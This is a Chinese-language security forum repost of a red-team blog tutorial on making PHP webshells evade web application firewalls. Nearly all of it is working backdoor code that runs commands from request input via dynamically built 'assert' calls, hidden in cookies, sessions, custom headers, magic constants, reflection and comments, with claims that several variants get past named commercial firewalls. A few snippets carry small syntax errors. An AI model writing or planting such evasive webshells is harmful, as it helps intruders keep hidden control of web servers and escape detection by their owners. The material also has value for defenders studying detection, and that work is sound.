安全矩阵

 找回密码
 立即注册
搜索
查看: 1818|回复: 0

什么?你还不会webshell免杀?(二)

[复制链接]

181

主题

182

帖子

721

积分

高级会员

Rank: 4

积分
721
发表于 2022-6-22 17:40:10 | 显示全部楼层 |阅读模式
本帖最后由 wangqiang 于 2022-6-22 17:46 编辑

什么?你还不会webshell免杀?(二)
原创 naihe567  红队蓝军
2022-06-21 09:21 发表于湖北
转载地址:什么?你还不会webshell免杀?(二)

webshell免杀之传参方式及特征绕过
传参方式
在这里解释一下为什么,需要讲述传参方式,由于在很多情况下,以请求头作为参数传递并非waf和人工排查的重中之重且非常误导和隐藏,下面就是常用的几种方式
1.Cookie
由于Cookie基本上是每个web应用都需要使用到的,php应用在默认情况下,在Cookies请求头中会存在一个PHPSESSID=xxxx这样的cookie,其实这个就可以成为我们的传参位置
  1. <?php
  2. session_start();
  3. $a = "a";
  4. $s = "s";
  5. $c=$a.$s."sert";

  6. $c(base64_decode($_COOKIE["PHPSESSID"]));

  7. ?>
复制代码

使用burp抓包

将内容改成base64加密后的命令

可以看到已经执行成功了,可以看到这个迷惑去非常强,如果不仔细排查是不容易发现的,由于webshell的session和网站本身业务并没有关系,所以这个PHPSESSID可以随意修改

2.Session
session的传参方式其实算是一种间接传产方式,由于session的内容是需要通过源码设置的,并不能想cookie一样直接在请求头中修改,因此需要准备两个文件,
一个是将输入的参数传入session,另一个就是将session中的内容取出并执行命令
这里依旧沿用上面的cookie传参
给session传入参数
  1. <?php
  2. session_start();
  3. $_SESSION['dmeo']=base64_decode($_COOKIE["PHPSESSID"]);

  4. ?>
复制代码

取出session内容并执行,其实下面的代码是可以直接插入到正常页面中的,增加迷惑性,因为一般正常页面返回的html代码是比较多的,如果我们将内容回显的正常页面当中是比较难发现的
  1. <?php
  2. session_start();
  3. $a = "a";
  4. $s = "s";
  5. $c=$a.$s."sert";
  6. $c($_SESSION['dmeo']);

  7. ?>
复制代码

在test.php下通过cookie添加session,注意这个PHPSESSID的值其实就是一个session文件,每当有一个新的sessionid都会生成一个新的session文件,
因此这个文件名我们是可以随意修改的,在这里的sessionid不但是文件名,而且也是我们的base64加密后的命令,这里只需要了解一下即可

访问命令执行的页面,并添加其cookie,即可跨页面传递参数,如果用这种方式传参是比较难发现的

总结:session传参其实就是一种参数转移的感觉

3.自定义头
自定义请求头其实也是作为一种伪装的请求方式,你可以选择完全自定义一个请求头进行参数传递,但是很多waf也会检测一些没出现过的请求头容易被识别出来,
且一旦在日志中被找到一个以这种方式传参,很容易就能查找到使用数据包,还是不稳当,与cookie相比,cookie本身就是一堆随机数不好区分
  1. <?php
  2. session_start();
  3. $a = "a";
  4. $s = "s";
  5. $c=$a.$s."sert";
  6. $c(getallheaders()['Demo']);

  7. ?>
复制代码



4.php伪协议
  1. <?php
  2. $q=$_GET[1];
  3. file_get_contents("php".$q)($_GET[2]);
复制代码




特征绕过
在这里为什么我会将特征绕过,而并没有像其他博客上写的那些,整一堆混淆的方法,原因就是因为,waf毕竟还是通过特征判断的,只有知道了,
waf匹配的正则表达式大概是什么样的,webshell的免杀有真正的意义

数据特征绕过
1.$_xxx[xxx] 绕过:
看这个特征可以发现很明显的是一个获取参数的语句,但为什么我会将起列举出来了,因为在很多情况下,现在的web应用大多都是使用的框架,基本上所有的
获取请求参数内容的方法都是经过框架封装过的,最原始的获取参数内容的方式已经非常少见了,很容易通过一些命令如linux下的find命令通过正则表达式即可
找到对应的webshell,很容易被发现,因此不使用该特征是很有必要的
1.1 {}
使用{}来替代[]是在ctf中十分常见的绕过方式
  1. <?php

  2. echo $_GET{"demo"};
复制代码


1.2 foreach语句
利用复合变量加foreach,获取参数中的内容,其特点并没有[],不容易被识别
  1. <?php
  2. $a = "a";
  3. $s = "s";
  4. $c=$a.$s."sert";
  5. foreach (array('_GET') as $r){
  6.     foreach ($r as $k =>$v){
  7.         $c($v);

  8.     }
  9. }
复制代码


自定义请求头
使用自定义的请求头同样是没有上面的特征
  1. <?php
  2. $a = "a";
  3. $s = "s";
  4. $c=$a.$s."sert";
  5. $c(getallheaders()['Demo']);
  6. >
复制代码

2.xxx) 绕过:
这个特征大致就是某盾,某狗等的正则表达式匹配的内容,只要去消除此特征即可免杀
2.1 ""特性
该原理就是""中的变量不会被当做字符串使用,会被解析,经过测试该方法基本失效
  1. <?php
  2. $a = "a";
  3. $s = "s";
  4. $c=$a.$s."sert";
  5. $f = $_POST[1]
  6. $c("$f");
  7. >
复制代码

2.2 回调函数
  1. <?php
  2. function  demo()
  3. {
  4.     return $_GET["a"];
  5. }

  6. demo()($_GET["b"]);
复制代码


2.3 魔术常量
可以用到的4种魔术常量
  1. __FILE__:返回当前文件的绝对路径(包含文件名)。

  2. __FUNCTION__:返回当前函数(或方法)的名称。

  3. __CLASS__:返回当前的类名(包括该类的作用区域或命名空间)。

  4. __NAMESPACE__:返回当前文件的命名空间的名称。
复制代码
  1. __FILE__的利用,将webshell的名字改为base64编码后的内容
复制代码
  1. <?php
  2. base64_decode(basename(__FILE__,".php"))($_POST[1]);
复制代码


  1. __FUNCTION__的利用,将webshell的名字改为base64编码后的内容
复制代码
  1. <?php

  2. function assert2(){
  3.     substr(__FUNCTION__,0,6)($_GET[1]);
  4. }
  5. assert2();
复制代码


  1. __CLASS__的利用
复制代码
  1. <?php

  2. class assert2{
  3.     static function demo(){
  4.         substr(__CLASS__,0,6)($_GET[1]);
  5.     }
  6. }
  7. assert2::demo();
复制代码


  1. __NAMESPACE__的利用
复制代码
  1. <?php

  2. namespace assert2;
  3. substr(__NAMESPACE__,0,6)($_GET[1]);
复制代码


以上的4种基于魔术常量的免杀webshell都是可以绕过某盾的

当然在实战种还是要像上一篇文章一样,将传入的参数进行加密处理,如果再把传参方式改为cookie的那就很完美了
2.5 自定义常量
  1. <?php
  2. define("DEMO",$_GET[1]."ert");
  3. substr(DEMO,0)($_GET[2]);
复制代码





2.4 分离免杀

顾名思义,就是将一个马拆分成两部分,及使用file_get_contents()将内容读取出来,为什么不使用include等这些文件包含函数了?
因为webshell的免杀在于动态函数的调用,最终还是要拼接在一起,绕过的原则其实就是绕过waf的正则表达式,如果直接include其实和写在一个文件里没啥区别
  1. <?php
  2. file_get_contents("test.txt")($_GET[1]);
复制代码






2.5 注释及空白符混淆

这种方式和sql注入差不多,原理就是php允许在括号中添加注释符和空白符并不会影响代码正常运行
  1. <?php
  2. $func = $_GET["func"];
  3. $a = "a";
  4. $s = "s";
  5. $c=$a.$s.$_GET["func2"];
  6. $c(//);//(
  7.     $func//);//);
  8. )
  9. ?>
复制代码



这里方式可以绕某狗,但过不了某盾
2.6 反射调用
反射类及反射类方法
  1. <?php
  2.     $class = new \ReflectionClass('Site\\Website');  // 以类名 Website 作为参数,即可创建 Website 类的反射类
  3.     $properties = $class->getProperties();      // 以数组的形式返回 Website 类的所有属性
  4.     $property = $class->getProperty('name');  // 获取 Website 类的 name 属性
  5.     $methods = $class->getMethods();         // 以数组的形式返回 Website 类的所有方法
  6.     $method = $class->getMethod('getName'); // 获取 Website 类的 getName 方法
  7.     $constants = $class->getConstants();       // 以数组的形式获取所有常量
  8.     $constant = $class->getConstant('TITLE'); // 获取 TITLE 常量
  9.     $namespace = $class->getNamespaceName();   // 获取类的命名空间
  10.     $comment_class  = $class->getDocComment();      // 获取 Website 类的注释文档,即定义在类之前的注释
  11.     $comment_method = $class->getMethod('getUrl')->getDocComment();  // 获取 Website 类中 getUrl 方法的注释文档
  12. ?>
复制代码

通过属性名免杀
  1. <?php
  2. class a{
  3.     public $assert2;
  4. }

  5. $class = new ReflectionClass(new a());
  6. substr($class->getProperties()[0]->name,0,6)($_GET[1]);
复制代码


通过注释免杀
  1. <?php
  2. /**
  3. *phpinfo*/
  4. class A
  5. {
  6.     public static function B()
  7.     {
  8.         return $_POST[1];
  9.     }
  10. }

  11. $re = new ReflectionClass(new A());
  12. $a = str_ireplace(" ","",str_ireplace("\n","",str_ireplace("/","",str_ireplace("*","",$re->getDocComment()))));

  13. substr($a,1)(A::B());
复制代码


2.7 类调用
类方法调用
  1. <?php
  2. class a{
  3.     function demo(){
  4.         $a = "a";
  5.         $s = "s";
  6.         $c=$a.$s."sert";
  7.         return $c;
  8.     }
  9. }

  10. $s = new a();
  11. $s->demo()($_GET[1]);
复制代码



类的静态方法
  1. <?php
  2. class a{
  3.     static function demo(){
  4.         $a = "a";
  5.         $s = "s";
  6.         $c=$a.$s."sert";
  7.         return $c;
  8.     }
  9. }

  10. a::demo()($_GET[1]);
复制代码


总结
webshell的免杀前提是要分析出waf大概的规则,如果盲目尝试是无法有更快的提示,正所谓大道至简,本文以最简单的代码解释了免杀的方法,
原理以及waf背后的逻辑,对于更高级的waf,本文列举了很多种方法,在必要的时候是需要将多种方法合并使用的,以达到最好效果,最后有的
绕过方式实在是太老了就没必要讲,如无特征马说是无特征,但这所谓的无特征就是它的最大特征,物联网是人类创造的,所有的东西都满足人类逻辑,
不要死记硬背那些复杂的免杀马,只有清楚背后的逻辑才能真正的有所提升。








回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-28 19:08 , Processed in 0.024268 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表